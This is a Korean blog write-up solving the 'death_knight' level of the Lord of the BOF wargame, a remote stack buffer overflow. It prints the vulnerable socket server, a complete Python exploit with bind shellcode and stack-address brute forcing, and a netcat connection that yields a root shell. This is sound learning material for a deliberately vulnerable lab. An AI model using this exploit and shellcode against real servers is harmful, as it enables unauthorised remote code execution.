/*
The Lord of the BOF : The Fellowship of the BOF
- dark knight
- remote BOF
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <dumpcode.h>
main()
{
char buffer[40];
int server_fd, client_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size;
if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket");
exit(1);
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(6666);
server_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(server_addr.sin_zero), 8);
if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
perror("bind");
exit(1);
}
if(listen(server_fd, 10) == -1){
perror("listen");
exit(1);
}
while(1) {
sin_size = sizeof(struct sockaddr_in);
if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
perror("accept");
continue;
}
if (!fork()){
send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
send(client_fd, "You : ", 6, 0);
recv(client_fd, buffer, 256, 0); <- 입력 받음.
close(client_fd);
break;
}
close(client_fd);
while(waitpid(-1,NULL,WNOHANG) > 0);
}
close(server_fd);
}
이번 문제는 보안 필터는 없다. 단순히 socket으로 연결하여 buffer를 overflow 시켜주면 된다.
프로세스를 검색해보면 death_knight는 실행되고 있음을 확인할 수 있다.
[xavius@localhost xavius]$ ps -ef | grep death_knight
death_kn 646 1 0 09:48 ? 00:00:00 /home/xavius/death_knight
xavius 702 679 0 10:00 pts/0 00:00:00 grep death_knight
payload는 [buffer size + 4] 까지 Dummy 값으로 채워주고 ret를 bind shellcode의 주소로 덮어 버리면 된다.
nop = (256 bytes - dummy + ret + bind shellcode)
payload = [dummy 44 bytes] + [ret 4 bytes] + [ nop + bind shellcode] == 총 합 256 bytes
하지만 socket으로 연결해 통신하는 거라 환경변수를 쓰지 못한다. 즉, 스택안 어딘가의 bind shellcode 주소를 찾아야 하기 때문에 brute force 과정을 거쳐야 된다.
import os
from socket import *
import struct
import time
p = lambda s : struct.pack("<L", s) # 리틀 엔디안으로 바꿔주는 축약식
HOST = "192.168.1.135" # lob 서버 ip
PORT = 6666
bsc = "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x95\
\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x16\x51\x55\
\x89\xe1\xcd\x80\x6a\x66\x58\x43\x43\x53\x55\x89\xe1\xcd\x80\x6a\x66\
\x58\x43\x52\x52\x55\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\
\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\
\xe3\x52\x53\x89\xe1\xcd\x80"
# l31337 포트를 열어주는 쉘 코드
nop = "\x90" * (256-(44+4+len(bsc))) # nop sled 기법을 이용. (최대 256 byte를 받기 때문)
dummy = "f1ay" * 11 # dummy 값
for ret in range(0xbfff0000, 0xbfffffff, 1): # Stack 공간 brute force
print "Sending: 0x%08x"%ret
s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
s.recv(60)
s.send(dummy + p(ret) + nop + bsc)
s.close()
time.sleep(0.2)
os.system("nc %s 31337" % HOST) # netcat을 통한 서버 연결
Host PC인 windows에서 파이썬 exploit 코드를 실행한 결과다.
C:\Users\ddddh\Desktop>python exploit.py
~~~
Sending: 0xbffffd70
Sending: 0xbffffd71
id
uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight)
'# write-up > - Lord of Bof' 카테고리의 다른 글
[LOB] death_knight (0) | 2016.12.09 |
---|---|
[LOB] nightmare -> xavius (0) | 2016.12.08 |
[LOB] succubus -> nightmare (0) | 2016.12.08 |
[LOB] zombie_assassin -> succubus (0) | 2016.12.08 |
[LOB] assassin -> zombie_assassin (0) | 2016.12.07 |